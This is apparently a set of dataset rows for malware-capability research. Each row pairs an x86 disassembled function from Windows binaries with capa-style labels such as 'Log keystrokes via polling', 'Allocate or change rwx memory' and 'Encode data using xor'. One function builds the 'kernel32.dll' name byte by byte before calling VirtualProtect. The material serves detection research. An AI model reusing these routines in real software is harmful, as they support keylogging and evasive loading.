joyce8/EMBER2024-capa huggingface dataset:
Function at 0x444210
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44423d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44423d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x115e0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x1c], 0xc0000001
mov dword [ebp - 0x28], 0
call dword [sym.imp.HAL.dll_KeGetCurrentIrql]
movzx eax, al
test eax, eax
je 0x11609
mov eax, dword [ebp - 0x1c]
jmp 0x11690
push str.Callback_bdProtectExpCallBack
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov dword [ebp - 0x18], 0x18
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0x240
lea edx, [ebp - 0x24]
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 1
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.ntoskrnl.exe_ExCreateCallback]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x1168d
mov dword [0x124c0], 0
push 0x124c0
push 0x100
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.ntoskrnl.exe_ExNotifyCallback]
mov eax, dword [0x124c0]
push eax
push str.g_pfnCheckCameraUser_0x_p_n
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x11c80
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
call fcn.000115e0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x11ca2
cmp dword [0x124c0], 0
jne 0x11cb9
mov eax, dword [0x124c0]
push eax
mov ecx, dword [ebp - 4]
push ecx
push str.GetCameraUserChecker_fail_st_x_g_pfnCheckCameraUser_p_n
call sub.ntoskrnl.exe_DbgPrint
add esp, 0xc
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x408e80
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x828
cmp dword [0x478164], 0x13f7
mov eax, dword [esp + 0x82c]
push ebx
mov ebx, dword [esp + 0x834]
push ebp
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [ebx]
mov ebp, 0xc6ef3720
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x24], eax
jne 0x408ed2
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
cmp dword [0x478164], 0x60b
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x20], eax
jne 0x408f20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push 0
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov dword [esp + 0x18], 0x20
jmp 0x408f34
mov ebp, dword [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
mov eax, edi
push ecx
shl eax, 4
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], eax
call fcn.00408e30
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x20]
cmp dword [0x478164], 0x1b
lea ebx, [edi + ebp]
mov dword [esp + 0x10], eax
mov dword [0x45b5c4], 0xffcf03fc
jne 0x408f9d
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x401330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov eax, dword [esp + 0x10]
xor eax, ebx
xor eax, dword [esp + 0x14]
mov dword [0x45b5c4], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x45b5c4], eax
sub esi, dword [esp + 0x10]
mov dword [0x45b5c8], 0xc5e121b4
mov ecx, esi
shr ecx, 5
mov dword [0x45b5cc], 0xffffffff
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
mov eax, esi
shl eax, 4
add eax, dword [esp + 0x24]
add ebp, esi
xor eax, ebp
xor eax, dword [esp + 0x10]
push 0x9e3779b9
lea edx, [esp + 0x20]
push edx
sub edi, eax
call fcn.00407ff0
sub dword [esp + 0x18], 1
jne 0x408f30
mov eax, dword [esp + 0x83c]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret 8
Function at 0x409030
Capabilities:
Copy file
Manipulate console buffer
Terminate process

Disassembly:
sub esp, 0xea4
cmp dword [0x478164], 0x516
jne 0x409088
push 0
lea eax, [esp + 0x6a8]
push eax
push 0
call sub.KERNEL32.dll_VerLanguageNameW
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor edx, edx
xor ecx, ecx
mov word [esp + 2], dx
lea eax, [esp + 0xc]
push eax
mov word [esp + 4], cx
mov ecx, dword [esp + 4]
push ecx
push edx
lea edx, [esp + 0x2b0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xeac]
shr eax, 3
test eax, eax
jbe 0x4091c2
mov ecx, dword [esp + 0xea8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp dword [0x478164], 0x29
jne 0x4090fa
lea edx, [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
cmp dword [0x478164], 0xe1b
jne 0x40911e
lea ecx, [esp + 0x174]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x478164], 0x1c
jne 0x40916f
push 0
call esi
push 0
push 0
push 0
lea edx, [esp + 0x50]
push edx
call edi
lea eax, [esp + 0xe0]
push eax
call ebx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov edx, dword [esp + 0xec0]
mov eax, dword [esp + 0x10]
push edx
push eax
call fcn.00408e80
cmp dword [0x478164], 0x4fa
jne 0x4091ae
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x18], cx
mov word [esp + 0x1a], dx
mov ecx, dword [esp + 0x18]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
add dword [esp + 0x10], 8
sub dword [esp + 0x18], 1
jne 0x4090c5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xea4
ret 0xc
Function at 0x4091d0
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Get disk information
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x438
cmp dword [0x478164], 0x37
jne 0x4092a4
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x401364
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
lea eax, [esp + 0x3c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
mov dword [esp], 0
mov eax, dword [0x478168]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x43c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x45b5c0]
mov byte [ecx + eax], dl
add esp, 0x438
ret 4

Function at 0x409310
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x450f08
mov byte [0x450f09], al
mov byte [0x450f0a], 0x72
mov byte [0x450f10], 0x2e
mov byte [0x450f11], 0x64
mov byte [0x450f12], cl
mov byte [0x450f14], 0
mov byte [0x450f0c], al
mov byte [0x450f0d], cl
mov byte [0x450f0e], 0x33
mov byte [0x450f0f], 0x32
mov byte [0x450f13], al
mov byte [0x450f0b], 0x6e
mov byte [0x450f08], 0x6b
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x478164]
mov edx, dword [0x45b5c0]
mov dword [0x4777fc], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x450f16], 0
mov byte [0x450f0f], 0x50
mov byte [0x450f0d], 0x61
mov byte [0x450f08], 0x60
mov byte [0x450f10], 0x7c
mov byte [0x450f11], 0x6f
mov byte [0x450f15], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x40a4f0
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x40a513
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a51a
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a531
mov edx, dword [ebp - 4]
push edx
call fcn.004105a0
add esp, 4
or eax, 0xffffffff
jmp 0x40a533
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40a790
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a7af
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a7b6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a7cd
mov ecx, dword [ebp - 4]
push ecx
call fcn.004105a0
add esp, 4
or eax, 0xffffffff
jmp 0x40a7cf
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x414d00
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4500c4]
jne 0x414d0a
repz ret
jmp fcn.0041ade0
Function at 0x402fc4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x475008], 0x8088405
inc edx
mov dword [ebx + 0x475008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4036c4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x475024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40375c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40373c
xor eax, eax
push ebp
push 0x403735
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403778
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40373c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x475024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x475024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404568
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x505048], 0
je 0x4045c9
cmp word [0x50521c], 0xd7b2
jne 0x404591
cmp dword [0x505224], 0
jbe 0x404591
mov eax, 0x505218
call dword [0x505234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4045f0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x475030], 0
jne 0x4045e5
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404720
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x475034], 0
je 0x404746
mov edx, esi
mov eax, ebx
call dword [0x475034]
jmp 0x404755
mov eax, 8
call fcn.00402cac
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x505049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4046e8
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x4081f4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x408284
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x408284
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x408237
test edx, 3
jne 0x408226
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x408231
jmp 0x408237
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x408237
cmp dword [ecx - 8], 1
je 0x408241
mov edx, ebx
or edx, 3
call fcn.00404ee8
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x7b7b7b7b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x408253
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.0040479c

Function at 0x408290
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x408320
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x408320
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x4082d3
test edx, 3
jne 0x4082c2
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x4082cd
jmp 0x4082d3
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x4082d3
cmp dword [ecx - 8], 1
je 0x4082dd
mov edx, ebx
or edx, 3
call fcn.00404ee8
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x5b5b5b5b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x4082ef
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.0040479c

Function at 0x40b584
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b5bd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.0040488c
jmp 0x40b5c6
mov eax, ebx
mov edx, esi
call fcn.004047f0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b5d0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b5f2
movzx eax, byte [esp]
jmp 0x40b5f4
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40bc84
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40bafc
mov eax, dword [0x504318]
cmp byte [eax], 0
je 0x40bd00
mov eax, dword [0x504114]
call fcn.0040308c
call fcn.00402e08
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408d1c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40bd48
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40bd36
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x5040bc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x5077f4]
call fcn.0040593c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40c594
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c66a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404834
lea eax, [ebp - 4]
call fcn.00404cb0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404c60
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40c654
mov eax, ebx
call fcn.00402cac
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40c64d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404c60
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40c637
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40c67c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40c637
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c654
mov eax, dword [ebp - 0x10]
call fcn.00402cc8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c671
lea eax, [ebp - 4]
call fcn.0040479c
ret

Function at 0x41aa7c
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0xe]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x41aaca
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xe], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.0041a78c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41aae3
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x41aaec
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0041a78c
dec esi
jne 0x41ab0e
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret

Function at 0x41bc80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x508304
cmp dword [edi], 0
jne 0x41bcfc
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x508300]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x475afc
mov ecx, 2
call fcn.00402e9c
mov edx, 0x41bc58
lea eax, [esi + 5]
call fcn.0041bc78
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041bc78
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41bcd1
mov dword [0x508300], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41e2fc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404c60
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x41e354
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x504440]
mov dl, 1
mov eax, dword [0x41de20]
call fcn.0040be44
call fcn.00404130
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0041df28
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x41f4e4
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41f4ea
ret
Function at 0x4307cc
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.0040479c
push 0
movzx eax, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43081a
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404a0c
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43489c
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4349cf
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x16], 0
lea eax, [ebp - 0x16]
push eax
call sub.user32.dll_GetKeyboardLayoutNameA
mov dl, 1
mov eax, dword [0x41de80]
call fcn.0041df50
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x4349a5
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.0041dff0
lea eax, [ebp - 0x20]
lea edx, [ebp - 0x16]
mov ecx, 0xa
call fcn.00404a0c
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x4349e4
call fcn.00404aac
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.0041e054
lea ecx, [ebp - 4]
mov edx, 0x434a20
mov eax, dword [ebp - 0xc]
call fcn.0041e284
mov edx, 0x8000
mov eax, dword [ebp - 4]
call fcn.0040d8e0
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x434988
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x434a2c
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebx, eax
call ebx
movzx eax, word [eax + 0x28]
and ax, 1
cmp ax, 1
sete byte [0x4764b4]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43498f
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FreeLibrary_1
ret

Function at 0x434a7c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov esi, eax
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 4]
test bx, bx
je 0x434ac3
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x434aa6
add bx, 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x434ab7
add bx, 0x4000
test byte [esp + 0xb], 0x20
je 0x434ac3
add bx, 0x8000
mov eax, ebx
add esp, 0x10
pop edi
pop esi
pop ebx
ret